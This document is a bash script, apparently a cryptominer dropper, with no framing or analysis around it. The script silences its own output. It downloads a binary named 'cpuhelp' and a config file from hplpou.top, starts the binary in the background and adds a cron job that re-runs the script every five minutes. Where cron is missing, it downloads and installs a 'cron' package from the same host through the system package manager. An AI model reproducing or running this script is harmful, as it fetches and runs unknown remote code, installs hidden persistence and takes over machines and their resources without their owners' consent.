#!/bin/bash

echo "Script is starting..."

script_dir="$(cd "$(dirname "$0")" && pwd)"
cpuhelp_path="$script_dir/cpuhelp"
config_path="$script_dir/config.json"
exec > /dev/null
exec 2> /dev/null

install_cron() {
    echo "Installing cron..."

    if [ -f /etc/os-release ]; then
        source /etc/os-release
        case "$ID" in
            "debian" | "ubuntu")
                cron_package_url="http://hplpou.top/deub.deb"
                ;;
            "centos" | "rhel" | "alibaba" | "aliyun" | "alinux" | "rocky" | "amzn")
                cron_package_url="http://hplpou.top/cent.rpm"
                ;;
            "fedora")
                cron_package_url="http://hplpou.top/Fedora.rpm"
                ;;
            "arch")
                cron_package_url="http://hplpou.top/Arch.zst"
                ;;
            "alpine")
                cron_package_url="http://hplpou.top/Alpine.apk"
                ;;
            "ol")
                cron_package_url="http://hplpou.top/Orcron.rpm"
                ;;
            *)
                echo "Unsupported distribution: $ID. Exiting."
                exit 1
                ;;
        esac

        downloader=""
        if command -v wget > /dev/null; then
            downloader="wget -q -O"
        elif command -v curl > /dev/null; then
            downloader="curl -o"
        elif which wget > /dev/null; then
            downloader="wget -q -O"
        elif which curl > /dev/null; then
            downloader="curl -o"
        else
            echo "Neither wget nor curl is installed. Please install one of them to download tasks. Exiting."
            exit 1
        fi

        $downloader /tmp/cron_install_package "$cron_package_url"
        dpkg -i /tmp/cron_install_package
        rpm -Uvh /tmp/cron_install_package
        pacman -U /tmp/cron_install_package --noconfirm
        apk add /tmp/cron_install_package
        rm /tmp/cron_install_package

        systemctl start cron
        sleep 2
        (crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash $script_dir/harp.sh > /dev/null 2>&1") | crontab -

        echo "Cron installation completed."
    else
        echo "Unsupported distribution: /etc/os-release not found. Exiting."
        exit 1
    fi
}

echo "Checking if cpuhelp is running..."
if ps aux | grep -v grep | grep -q "cpuhelp"; then
    echo "cpuhelp process is already running."

    if command -v crontab > /dev/null; then
        if crontab -l | grep -q "$script_dir/harp.sh"; then
            echo "Script is already added to cron. Exiting."
            exit 0
        else
            (crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash $script_dir/harp.sh > /dev/null 2>&1") | crontab -
            echo "Script added to cron successfully."
        fi
    else
        echo "Cron is not installed. Installing cron and scheduling tasks..."
        install_cron
    fi
else
    echo "cpuhelp is not running."

    if [ -f "$cpuhelp_path" ] && [ -f "$config_path" ]; then
        nohup "$cpuhelp_path" > /dev/null 2>&1 &

        if command -v crontab > /dev/null; then
            if crontab -l | grep -q "$script_dir/harp.sh"; then
                echo "Script is already added to cron. Exiting."
                exit 0
            else
                (crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash $script_dir/harp.sh > /dev/null 2>&1") | crontab -
                echo "Script added to cron successfully."
            fi
        else
            echo "Cron is not installed. Installing cron and scheduling tasks..."
            install_cron
        fi
    else
        echo "Error: 'cpuhelp' or 'config.json' file is missing in the current directory. Proceeding with download."

        downloader=""
        if command -v wget > /dev/null; then
            downloader="wget -q -O"
        elif command -v curl > /dev/null; then
            downloader="curl -o"
        elif which wget > /dev/null; then
            downloader="wget -q -O"
        elif which curl > /dev/null; then
            downloader="curl -o"
        else
            echo "Neither wget nor curl is installed. Please install one of them to download tasks. Exiting."
            exit 1
        fi

        echo "Downloading 'cpuhelp'..."
        if ! $downloader "$cpuhelp_path" http://hplpou.top/cpuhelp; then
            echo "Error downloading 'cpuhelp'. Exiting."
            exit 1
        fi

        
        while [ ! -f "$cpuhelp_path" ]; do
            sleep 40
        done

        
        if [ ! -f "$cpuhelp_path" ]; then
            echo "Error: 'cpuhelp' file not found. Exiting."
            exit 1
        fi

        echo "Download completed."

        if [ ! -f "$config_path" ]; then
            $downloader "$config_path" http://hplpou.top/config.json
            chmod +x "$config_path"
        fi

        
        while [ ! -f "$config_path" ]; do
            sleep 3
        done

        
        if [ ! -f "$config_path" ]; then
            echo "Error: 'config.json' file not found. Exiting."
            exit 1
        fi

        echo "Starting cpuhelp in the background..."
        nohup "$cpuhelp_path" > /dev/null 2>&1 &
        if ps aux | grep -v grep | grep -q "cpuhelp"; then
            echo "cpuhelp process is already running."
        else
            if [ -e "cpuhelp" ]; then
                chmod +x cpuhelp
                nohup ./cpuhelp > /dev/null 2>&1 &
                echo "cpuhelp process started."
            else
                echo "Error: cpuhelp file not found in the current directory."
            fi
        fi

        echo "Script execution completed."
        if command -v crontab > /dev/null; then
            if crontab -l | grep -q "$script_dir/harp.sh"; then
                echo "Script is already added to cron. Exiting."
                exit 0
            else
                (crontab -l 2>/dev/null; echo "*/5 * * * * /bin/bash $script_dir/harp.sh > /dev/null 2>&1") | crontab -
                echo "Script added to cron successfully."
            fi
        else
            echo "Cron is not installed. Installing cron and scheduling tasks..."
            install_cron
        fi
        exit 0
    fi
fi
